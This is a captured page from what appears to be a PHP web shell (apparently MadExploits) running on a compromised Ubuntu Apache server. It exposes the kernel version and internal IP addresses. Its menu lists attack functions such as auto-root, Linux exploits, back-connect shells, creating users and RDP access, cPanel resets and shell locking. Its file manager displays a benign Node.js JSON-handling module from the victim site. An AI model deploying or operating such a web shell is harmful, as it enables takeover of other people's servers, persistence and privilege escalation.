Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
server /
utils /
[ HOME SHELL ]
Name
Size
Permission
Action
fileOperations.js
1.43
KB
-rw-r--r--
rebuild.js
2.04
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : fileOperations.js
const fs = require('fs').promises; const path = require('path'); // Path to public data folder const DATA_DIR = path.join(__dirname, '../../public/data'); // Read JSON file async function readJSON(filename) { try { const filePath = path.join(DATA_DIR, filename); const data = await fs.readFile(filePath, 'utf8'); return JSON.parse(data); } catch (error) { console.error(`Error reading ${filename}:`, error); throw error; } } // Write JSON file async function writeJSON(filename, data) { try { const filePath = path.join(DATA_DIR, filename); await fs.writeFile(filePath, JSON.stringify(data, null, 2), 'utf8'); return true; } catch (error) { console.error(`Error writing ${filename}:`, error); throw error; } } // Create backup before modifying async function createBackup(filename) { try { const filePath = path.join(DATA_DIR, filename); const backupPath = path.join(DATA_DIR, `backups/${filename}.backup.${Date.now()}.json`); // Ensure backup directory exists const backupDir = path.join(DATA_DIR, 'backups'); await fs.mkdir(backupDir, { recursive: true }); const data = await fs.readFile(filePath, 'utf8'); await fs.writeFile(backupPath, data, 'utf8'); return backupPath; } catch (error) { console.error(`Error creating backup for ${filename}:`, error); // Don't throw error, just log it } } module.exports = { readJSON, writeJSON, createBackup };
Close